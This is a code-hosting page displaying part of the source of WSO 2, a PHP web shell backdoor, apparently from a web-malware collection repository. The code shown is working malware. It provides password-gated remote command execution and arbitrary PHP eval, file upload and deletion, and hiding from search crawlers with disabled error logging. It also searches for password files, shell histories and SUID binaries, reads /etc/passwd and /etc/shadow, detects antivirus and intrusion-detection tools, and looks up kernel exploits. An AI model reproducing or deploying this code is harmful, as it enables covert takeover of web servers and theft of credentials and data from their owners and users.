PageRenderTime 55ms CodeModel.GetById 11ms RepoModel.GetById 0ms app.codeStats 1ms

/Backdoors/PHP/wso2.php

http://web-malware-collection.googlecode.com/
PHP | 1238 lines | 1197 code | 22 blank | 19 comment | 228 complexity | cbc44fb78220958f81b739b493024688 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

    

  1. <?php
    2. 

  2. /**
    3. 

  3.  * WSO 2
    4. 

  4.  * Web Shell by oRb
    5. 

  5.  */
    6. 

  6. $auth = array(
    7. 

  7. 	'md5pass' => "63a9f0ea7bb98050796b649e85481845" // root
    8. 

  8. );
    9. 

  9. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    10. 

  10. 	header('HTTP/1.0 404 Not Found');
    11. 

  11. 	exit;
    12. 

  12. }
    13. 

  13. @session_start();
    14. 

  14. #if(empty($_POST['ajax']))
    15. 

  15. #	print_r($_POST);
    16. 

  16. error_reporting(E_ALL);
    17. 

  17. @ini_set('error_log',NULL);
    18. 

  18. @ini_set('log_errors',0);
    19. 

  19. @ini_set('max_execution_time',0);
    20. 

  20. @set_time_limit(0);
    21. 

  21. @set_magic_quotes_runtime(0);
    22. 

  22. @define('VERSION', '2');
    23. 

  23. @define('SELF_PATH', __FILE__);
    24. 

  24. 

  25. function my_strip_slashes(&$p){
    26. 

  26. 	if(is_array($p)){
    27. 

  27. 		foreach($p as $k => $v) {
    28. 

  28. 			my_strip_slashes($v);
    29. 

  29. 			$p[$k] = $v;
    30. 

  30. 		}
    31. 

  31. 	} else
    32. 

  32. 		$p = stripslashes($p);
    33. 

  33. }
    34. 

  34. if(get_magic_quotes_gpc())
    35. 

  35. 	my_strip_slashes($_POST);
    36. 

  36. function printLogin() {
    37. 

  37. 	?>
    38. 

  38. 	<center>
    39. 

  39. 	<form method=post>
    40. 

  40. 	Password: <input type=password name=pass><input type=submit value='>>'>
    41. 

  41. 	</form></center>
    42. 

  42. 	<?php
    43. 

  43. 	exit;
    44. 

  44. }
    45. 

  45. 

  46. if( !isset( $_SESSION['sh_logined'] ))
    47. 

  47. 	if( empty( $auth['md5pass'] ) || 
    48. 

  48. 		( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth['md5pass'] ) ) )
    49. 

  49. 		$_SESSION['sh_logined'] = true;
    50. 

  50. 	else
    51. 

  51. 		printLogin();
    52. 

  52. 

  53. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    54. 

  54. 	$os = 'win';
    55. 

  55. else
    56. 

  56. 	$os = 'nix';
    57. 

  57. $safe_mode = @ini_get('safe_mode');
    58. 

  58. $disable_functions = @ini_get('disable_functions');
    59. 

  59. $home_cwd = @getcwd();
    60. 

  60. if( isset( $_POST['c'] ) )
    61. 

  61. 	@chdir($_POST['c']);
    62. 

  62. $cwd = @getcwd();
    63. 

  63. if( $os == 'win') {
    64. 

  64. 	$home_cwd = str_replace("\\", "/", $home_cwd);
    65. 

  65. 	$cwd = str_replace("\\", "/", $cwd);
    66. 

  66. }
    67. 

  67. if( $cwd[strlen($cwd)-1] != '/' )
    68. 

  68. 	$cwd .= '/';
    69. 

  69. 	
    70. 

  70. if($os == 'win')
    71. 

  71. 	$aliases = array(
    72. 

  72. 		"List Directory" => "dir",
    73. 

  73.     	"Find index.php in current dir" => "dir /s /w /b index.php",
    74. 

  74.     	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    75. 

  75.     	"Show active connections" => "netstat -an",
    76. 

  76.     	"Show running services" => "net start",
    77. 

  77.     	"User accounts" => "net user",
    78. 

  78.     	"Show computers" => "net view",
    79. 

  79. 		"ARP Table" => "arp -a",
    80. 

  80. 		"IP Configuration" => "ipconfig /all"
    81. 

  81. 	);
    82. 

  82. else
    83. 

  83. 	$aliases = array(
    84. 

  84.   		"List dir" => "ls -la",
    85. 

  85. 		"list file attributes on a Linux second extended file system" => "lsattr -va",
    86. 

  86.   		"show opened ports" => "netstat -an | grep -i listen",
    87. 

  87. 		"Find" => "",
    88. 

  88.   		"find all suid files" => "find / -type f -perm -04000 -ls",
    89. 

  89.   		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
    90. 

  90.   		"find all sgid files" => "find / -type f -perm -02000 -ls",
    91. 

  91.   		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
    92. 

  92.   		"find config.inc.php files" => "find / -type f -name config.inc.php",
    93. 

  93.   		"find config* files" => "find / -type f -name \"config*\"",
    94. 

  94.   		"find config* files in current dir" => "find . -type f -name \"config*\"",
    95. 

  95.   		"find all writable folders and files" => "find / -perm -2 -ls",
    96. 

  96.   		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
    97. 

  97.   		"find all service.pwd files" => "find / -type f -name service.pwd",
    98. 

  98.   		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
    99. 

  99.   		"find all .htpasswd files" => "find / -type f -name .htpasswd",
    100. 

  100.   		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
    101. 

  101.   		"find all .bash_history files" => "find / -type f -name .bash_history",
    102. 

  102.   		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
    103. 

  103.   		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
    104. 

  104.   		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
    105. 

  105. 		"Locate" => "",
    106. 

  106.   		"locate httpd.conf files" => "locate httpd.conf",
    107. 

  107. 		"locate vhosts.conf files" => "locate vhosts.conf",
    108. 

  108. 		"locate proftpd.conf files" => "locate proftpd.conf",
    109. 

  109. 		"locate psybnc.conf files" => "locate psybnc.conf",
    110. 

  110. 		"locate my.conf files" => "locate my.conf",
    111. 

  111. 		"locate admin.php files" =>"locate admin.php",
    112. 

  112. 		"locate cfg.php files" => "locate cfg.php",
    113. 

  113. 		"locate conf.php files" => "locate conf.php",
    114. 

  114. 		"locate config.dat files" => "locate config.dat",
    115. 

  115. 		"locate config.php files" => "locate config.php",
    116. 

  116. 		"locate config.inc files" => "locate config.inc",
    117. 

  117. 		"locate config.inc.php" => "locate config.inc.php",
    118. 

  118. 		"locate config.default.php files" => "locate config.default.php",
    119. 

  119. 		"locate config* files " => "locate config",
    120. 

  120. 		"locate .conf files"=>"locate '.conf'",
    121. 

  121. 		"locate .pwd files" => "locate '.pwd'",
    122. 

  122. 		"locate .sql files" => "locate '.sql'",
    123. 

  123. 		"locate .htpasswd files" => "locate '.htpasswd'",
    124. 

  124. 		"locate .bash_history files" => "locate '.bash_history'",
    125. 

  125. 		"locate .mysql_history files" => "locate '.mysql_history'",
    126. 

  126. 		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
    127. 

  127. 		"locate backup files" => "locate backup",
    128. 

  128. 		"locate dump files" => "locate dump",
    129. 

  129. 		"locate priv files" => "locate priv"	
    130. 

  130. 	);
    131. 

  131. 

  132. function printHeader() {
    133. 

  133. 	if(empty($_POST['charset']))
    134. 

  134. 		$_POST['charset'] = "UTF-8";
    135. 

  135. 	?>
    136. 

  136. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
    137. 

  137. <style>
    138. 

  138. 	body		{ background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; }
    139. 

  139. 	td,th		{ font: 9pt Lucida,Verdana;vertical-align:top; }
    140. 

  140. 	table.info	{ color:#fff;background-color:#222; }
    141. 

  141. 	span		{ color:#df5;font-weight: bolder; }
    142. 

  142. 	h1			{ color:#df5;border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
    143. 

  143. 	div.content	{ padding: 5px;margin-left:5px;background-color:#333; }
    144. 

  144. 	a			{ text-decoration:none; color:#df5; }
    145. 

  145. 	a:hover		{ text-decoration:underline; }
    146. 

  146. 	.ml1		{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
    147. 

  147. 	.bigarea	{ width:100%;height:250px; }
    148. 

  148. 	input, textarea, select	{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,"Courier New"; }
    149. 

  149. 	form		{ margin:0px; }
    150. 

  150. 	#toolsTbl	{ text-align:center; }
    151. 

  151. 	.toolsInp	{ width: 300px }
    152. 

  152. 	.main th{text-align:left;background-color:#5e5e5e;}
    153. 

  153. 	.main tr:hover{background-color:#5e5e5e}
    154. 

  154. 	.main td, th{vertical-align:middle}
    155. 

  155. 	.l1	{background-color:#444}
    156. 

  156. </style>
    157. 

  157. <script>
    158. 

  158. 	function set(a,c,p1,p2,p3,charset) {
    159. 

  159. 		if(a != null)document.mf.a.value=a;
    160. 

  160. 		if(c != null)document.mf.c.value=c;
    161. 

  161. 		if(p1 != null)document.mf.p1.value=p1;
    162. 

  162. 		if(p2 != null)document.mf.p2.value=p2;
    163. 

  163. 		if(p3 != null)document.mf.p3.value=p3;
    164. 

  164. 		if(charset != null)document.mf.charset.value=charset;
    165. 

  165. 	}
    166. 

  166. 	function g(a,c,p1,p2,p3,charset) {
    167. 

  167. 		set(a,c,p1,p2,p3,charset);
    168. 

  168. 		document.mf.submit();
    169. 

  169. 	}
    170. 

  170. 	function a(a,c,p1,p2,p3,charset) {
    171. 

  171. 		set(a,c,p1,p2,p3,charset);
    172. 

  172. 		var params = "ajax=true";
    173. 

  173. 		for(i=0;i<document.mf.elements.length;i++)
    174. 

  174. 			params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
    175. 

  175. 		sr('<?=$_SERVER['REQUEST_URI'];?>', params);
    176. 

  176. 	}
    177. 

  177. 	function sr(url, params) {	
    178. 

  178. 		if (window.XMLHttpRequest) {
    179. 

  179. 			req = new XMLHttpRequest();
    180. 

  180. 			req.onreadystatechange = processReqChange;
    181. 

  181. 			req.open("POST", url, true);
    182. 

  182. 			req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
    183. 

  183. 			req.send(params);
    184. 

  184. 		} 
    185. 

  185. 		else if (window.ActiveXObject) {
    186. 

  186. 			req = new ActiveXObject("Microsoft.XMLHTTP");
    187. 

  187. 			if (req) {
    188. 

  188. 				req.onreadystatechange = processReqChange;
    189. 

  189. 				req.open("POST", url, true);
    190. 

  190. 				req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
    191. 

  191. 				req.send(params);
    192. 

  192. 			}
    193. 

  193. 		}
    194. 

  194. 	}
    195. 

  195. 	function processReqChange() {
    196. 

  196. 		if( (req.readyState == 4) )
    197. 

  197. 			if(req.status == 200) {
    198. 

  198. 				//alert(req.responseText);
    199. 

  199. 				var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
    200. 

  200. 				var arr=reg.exec(req.responseText);
    201. 

  201. 				eval(arr[2].substr(0, arr[1]));
    202. 

  202. 			} 
    203. 

  203. 			else alert("Request error!");
    204. 

  204. 	}
    205. 

  205. </script>
    206. 

  206. <head><body>
    207. 

  207. <form method=post name=mf style='display:none;'>
    208. 

  208. <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
    209. 

  209. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
    210. 

  210. <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
    211. 

  211. <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
    212. 

  212. <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
    213. 

  213. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
    214. 

  214. </form>
    215. 

  215. <?php
    216. 

  216. 	$freeSpace = @diskfreespace($GLOBALS['cwd']);
    217. 

  217. 	$totalSpace = @disk_total_space($GLOBALS['cwd']);
    218. 

  218. 	$totalSpace = $totalSpace?$totalSpace:1;
    219. 

  219. 	$release = @php_uname('r');
    220. 

  220. 	$kernel = @php_uname('s');
    221. 

  221. 	$millink='http://milw0rm.com/search.php?dong=';
    222. 

  222. 	if( strpos('Linux', $kernel) !== false )
    223. 

  223. 		$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
    224. 

  224. 	else
    225. 

  225. 		$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
    226. 

  226. 	if(!function_exists('posix_getegid')) {
    227. 

  227. 		$user = @get_current_user();
    228. 

  228. 		$uid = @getmyuid();
    229. 

  229. 		$gid = @getmygid();
    230. 

  230. 		$group = "?";
    231. 

  231. 	} else {
    232. 

  232. 		$uid = @posix_getpwuid(@posix_geteuid());
    233. 

  233. 		$gid = @posix_getgrgid(@posix_getegid());
    234. 

  234. 		$user = $uid['name'];
    235. 

  235. 		$uid = $uid['uid'];
    236. 

  236. 		$group = $gid['name'];
    237. 

  237. 		$gid = $gid['gid'];
    238. 

  238. 	}
    239. 

  239. 	$cwd_links = '';
    240. 

  240. 	$path = explode("/", $GLOBALS['cwd']);
    241. 

  241. 	$n=count($path);
    242. 

  242. 	for($i=0;$i<$n-1;$i++) {
    243. 

  243. 		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
    244. 

  244. 		for($j=0;$j<=$i;$j++)
    245. 

  245. 			$cwd_links .= $path[$j].'/';
    246. 

  246. 		$cwd_links .= "\")'>".$path[$i]."/</a>";
    247. 

  247. 	}
    248. 

  248. 	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U');
    249. 

  249. 	$opt_charsets = '';
    250. 

  250. 	foreach($charsets as $item)
    251. 

  251. 		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
    252. 

  252. 	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network', 'Logout'=>'Logout', 'Self remove' => 'SelfRemove');
    253. 

  253. 	$menu = '';
    254. 

  254. 	foreach($m as $k => $v)
    255. 

  255. 		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
    256. 

  256. 	$drives = "";
    257. 

  257. 	if ($GLOBALS['os'] == 'win') {
    258. 

  258. 		foreach( range('a','z') as $drive )
    259. 

  259. 		if (is_dir($drive.':\\'))
    260. 

  260. 			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
    261. 

  261. 	}
    262. 

  262. 	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
    263. 

  263. 		 '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
    264. 

  264. 		 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
    265. 

  265. 		 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
    266. 

  266. }
    267. 

  267. 

  268. function printFooter() {
    269. 

  269. 	$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
    270. 

  270. ?>
    271. 

  271. </div>
    272. 

  272. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style="border-top:2px solid #333;border-bottom:2px solid #333;">
    273. 

  273. 	<tr>
    274. 

  274. 		<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
    275. 

  275. 		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    276. 

  276. 	</tr>
    277. 

  277. 	<tr>
    278. 

  278. 		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
    279. 

  279. 		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
    280. 

  280. 	</tr>
    281. 

  281. 	<tr>
    282. 

  282. 		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
    283. 

  283. 		<td><form method='post' ENCTYPE='multipart/form-data'>
    284. 

  284. 		<input type=hidden name=a value='FilesMAn'>
    285. 

  285. 		<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
    286. 

  286. 		<input type=hidden name=p1 value='uploadFile'>
    287. 

  287. 		<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
    288. 

  288. 		<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
    289. 

  289. 	</tr>
    290. 

  290. 

  291. </table>
    292. 

  292. </body></html>
    293. 

  293. <?php
    294. 

  294. }
    295. 

  295. if ( !function_exists("posix_getpwuid") ) { function posix_getpwuid($p) { return false; } }
    296. 

  296. if ( !function_exists("posix_getgrgid") ) { function posix_getgrgid($p) { return false; } }
    297. 

  297. function ex($in) {
    298. 

  298. 	$out = '';
    299. 

  299. 	if(function_exists('exec')) {
    300. 

  300. 		@exec($in,$out);
    301. 

  301. 		$out = @join("\n",$out);
    302. 

  302. 	}elseif(function_exists('passthru')) {
    303. 

  303. 		ob_start();
    304. 

  304. 		@passthru($in);
    305. 

  305. 		$out = ob_get_clean();
    306. 

  306. 	}elseif(function_exists('system')) {
    307. 

  307. 		ob_start();
    308. 

  308. 		@system($in);
    309. 

  309. 		$out = ob_get_clean();
    310. 

  310. 	}elseif(function_exists('shell_exec')) {
    311. 

  311. 		$out = shell_exec($in);
    312. 

  312. 	}elseif(is_resource($f = @popen($in,"r"))) {
    313. 

  313. 		$out = "";
    314. 

  314. 		while(!@feof($f))
    315. 

  315. 			$out .= fread($f,1024);
    316. 

  316. 		pclose($f);
    317. 

  317. 	}
    318. 

  318. 	return $out;
    319. 

  319. }
    320. 

  320. function viewSize($s) {
    321. 

  321. 	if($s >= 1073741824)
    322. 

  322. 		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    323. 

  323. 	elseif($s >= 1048576)
    324. 

  324. 		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    325. 

  325. 	elseif($s >= 1024)
    326. 

  326. 		return sprintf('%1.2f', $s / 1024 ) . ' KB';
    327. 

  327. 	else
    328. 

  328. 		return $s . ' B';
    329. 

  329. }
    330. 

  330. 

  331. function perms($p) {
    332. 

  332. 	if (($p & 0xC000) == 0xC000)$i = 's';
    333. 

  333. 	elseif (($p & 0xA000) == 0xA000)$i = 'l';
    334. 

  334. 	elseif (($p & 0x8000) == 0x8000)$i = '-';
    335. 

  335. 	elseif (($p & 0x6000) == 0x6000)$i = 'b';
    336. 

  336. 	elseif (($p & 0x4000) == 0x4000)$i = 'd';
    337. 

  337. 	elseif (($p & 0x2000) == 0x2000)$i = 'c';
    338. 

  338. 	elseif (($p & 0x1000) == 0x1000)$i = 'p';
    339. 

  339. 	else $i = 'u';
    340. 

  340. 	$i .= (($p & 0x0100) ? 'r' : '-');
    341. 

  341. 	$i .= (($p & 0x0080) ? 'w' : '-');
    342. 

  342. 	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    343. 

  343. 	$i .= (($p & 0x0020) ? 'r' : '-');
    344. 

  344. 	$i .= (($p & 0x0010) ? 'w' : '-');
    345. 

  345. 	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    346. 

  346. 	$i .= (($p & 0x0004) ? 'r' : '-');
    347. 

  347. 	$i .= (($p & 0x0002) ? 'w' : '-');
    348. 

  348. 	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    349. 

  349. 	return $i;
    350. 

  350. }
    351. 

  351. function viewPermsColor($f) { 
    352. 

  352. 	if (!is_readable($f))
    353. 

  353. 		return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
    354. 

  354. 	elseif (!is_writable($f))
    355. 

  355. 		return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
    356. 

  356. 	else
    357. 

  357. 		return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
    358. 

  358. }
    359. 

  359. function which($p) {
    360. 

  360. 	$path = ex('which '.$p);
    361. 

  361. 	if(!empty($path))
    362. 

  362. 		return $path;
    363. 

  363. 	return false;
    364. 

  364. }
    365. 

  365. function actionSecInfo() {
    366. 

  366. 	echo '<h1>Server security information</h1><div class=content>';
    367. 

  367. 	function showSecParam($n, $v) {
    368. 

  368. 		$v = trim($v);
    369. 

  369. 		if($v) {
    370. 

  370. 			echo '<span>'.$n.': </span>';
    371. 

  371. 			if(strpos($v, "\n") === false)
    372. 

  372. 				echo $v.'<br>';
    373. 

  373. 			else
    374. 

  374. 				echo '<pre class=ml1>'.$v.'</pre>';
    375. 

  375. 		}
    376. 

  376. 	}
    377. 

  377. 	
    378. 

  378. 	showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    379. 

  379. 	showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    380. 

  380. 	showSecParam('Open base dir', @ini_get('open_basedir'));
    381. 

  381. 	showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    382. 

  382. 	showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    383. 

  383. 	showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    384. 

  384. 	$temp='';
    385. 

  385. 	if(function_exists('mysql_get_client_info'))
    386. 

  386. 		$temp = mysql_get_client_info();
    387. 

  387. 	showSecParam('MySql support', $temp?$temp:'no');
    388. 

  388. 	showSecParam('MSSql support', function_exists('mssql_connect')?'yes':'no');
    389. 

  389. 	showSecParam('Oracle support', function_exists('oci_connect')?'yes':'no');
    390. 

  390. 	showSecParam('PostgreSQL support', function_exists('oci_connect')?'yes':'no');
    391. 

  391. 	echo '<br>';
    392. 

  392. 	
    393. 

  393. 	if( $GLOBALS['os'] == 'nix' ) {
    394. 

  394. 		$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
    395. 

  395. 		$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
    396. 

  396. 		$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
    397. 

  397. 		showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
    398. 

  398. 		showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
    399. 

  399. 		showSecParam('OS version', @file_get_contents('/proc/version'));
    400. 

  400. 		showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
    401. 

  401. 		if(!$GLOBALS['safe_mode']) {
    402. 

  402. 			echo '<br>';
    403. 

  403. 			$temp='';
    404. 

  404. 			foreach ($userful as $item)
    405. 

  405. 				if(which($item)){$temp.=' '.$item;} 
    406. 

  406. 			showSecParam('Userful', $temp);
    407. 

  407. 			$temp='';
    408. 

  408. 			foreach ($danger as $item)
    409. 

  409. 				if(which($item)){$temp.=' '.$item;} 
    410. 

  410. 			showSecParam('Danger', $temp);
    411. 

  411. 			$temp='';
    412. 

  412. 			foreach ($downloaders as $item) 
    413. 

  413. 				if(which($item)){$temp.=' '.$item;} 
    414. 

  414. 			showSecParam('Downloaders', $temp);
    415. 

  415. 			echo '<br/>';
    416. 

  416. 			showSecParam('Hosts', @file_get_contents('/etc/hosts'));
    417. 

  417. 			showSecParam('CPU', @file_get_contents('/proc/cpuinfo'));
    418. 

  418. 			showSecParam('RAM', ex('free -m'));
    419. 

  419. 			showSecParam('HDD space', ex('df -h'));
    420. 

  420. 			showSecParam('Mount options', @file_get_contents('/etc/fstab'));
    421. 

  421. 		}
    422. 

  422. 	} else {
    423. 

  423. 		showSecParam('OS Version',ex('ver')); 
    424. 

  424. 		showSecParam('Account Settings',ex('net accounts')); 
    425. 

  425. 		showSecParam('User Accounts',ex('net user'));
    426. 

  426. 	}
    427. 

  427. 	echo '</div>';
    428. 

  428. }
    429. 

  429. 

  430. function actionPhp() {
    431. 

  431. 	if( isset($_POST['ajax']) ) {
    432. 

  432. 		ob_start();
    433. 

  433. 		eval($_POST['p1']);
    434. 

  434. 		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
    435. 

  435. 		echo strlen($temp), "\n", $temp;
    436. 

  436. 		exit; 
    437. 

  437. 	}
    438. 

  438. 	if( isset($_POST['p1']) && ($_POST['p1'] == 'info') ) {
    439. 

  439. 		echo '<h1>PHP info</h1><div class=content>';
    440. 

  440. 		ob_start();
    441. 

  441. 		phpinfo();
    442. 

  442. 		$tmp = ob_get_clean();
    443. 

  443. 		$tmp = preg_replace('!body {.*}!msiU','',$tmp);
    444. 

  444. 		$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
    445. 

  445. 		$tmp = preg_replace('!h1!msiU','h2',$tmp);
    446. 

  446. 		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
    447. 

  447. 		$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
    448. 

  448. 		echo $tmp;
    449. 

  449. 		echo '</div><br>';
    450. 

  450. 	}
    451. 

  451. 	echo '<h1>Execution PHP-code</h1><div class=content><textarea class=bigarea id=PhpCode></textarea><input type=button value=Eval style="margin-top:5px" onclick="a(null,null,document.getElementById(\'PhpCode\').value);"><pre id=PhpOutput style="display:none;margin-top:5px;" class=ml1></pre></div>';
    452. 

  452. }
    453. 

  453. 

  454. function actionFilesMan() {
    455. 

  455. 	echo '<h1>File manager</h1><div class=content>';
    456. 

  456. 	if(isset($_POST['p1'])) {
    457. 

  457. 		switch($_POST['p1']) {
    458. 

  458. 			case 'uploadFile':
    459. 

  459. 				if(!move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
    460. 

  460. 					echo "Can't upload file!";
    461. 

  461. 				break;
    462. 

  462. 				break;
    463. 

  463. 			case 'mkdir':
    464. 

  464. 				if(!@mkdir($_POST['p2']))
    465. 

  465. 					echo "Can't create new dir";
    466. 

  466. 				break;
    467. 

  467. 			case 'delete':
    468. 

  468. 				function deleteDir($path) {
    469. 

  469. 					$path = (substr($path,-1)=='/') ? $path:$path.'/';
    470. 

  470. 					$dh  = opendir($path);
    471. 

  471. 					while ( ($item = readdir($dh) ) !== false) {
    472. 

  472. 						$item = $path.$item;
    473. 

  473. 						if ( (basename($item) == "..") || (basename($item) == ".") )
    474. 

  474. 							continue;
    475. 

  475. 						$type = filetype($item);
    476. 

  476. 						if ($type == "dir")
    477. 

  477. 							deleteDir($item);
    478. 

  478. 						else
    479. 

  479. 							@unlink($item);
    480. 

  480. 					}
    481. 

  481. 					closedir($dh);
    482. 

  482. 					rmdir($path);
    483. 

  483. 				}
    484. 

  484. 				if(is_array(@$_POST['f']))
    485. 

  485. 					foreach($_POST['f'] as $f) {
    486. 

  486. 						$f = urldecode($f);
    487. 

  487. 						if(is_dir($f))
    488. 

  488. 							deleteDir($f);
    489. 

  489. 						else
    490. 

  490. 							@unlink($f);
    491. 

  491. 					}
    492. 

  492. 				break;
    493. 

  493. 			case 'paste':
    494. 

  494. 				if($_SESSION['act'] == 'copy') {
    495. 

  495. 					function copy_paste($c,$s,$d){
    496. 

  496. 						if(is_dir($c.$s)){
    497. 

  497. 							mkdir($d.$s);
    498. 

  498. 							$h = opendir($c.$s);
    499. 

  499. 							while (($f = readdir($h)) !== false)
    500. 

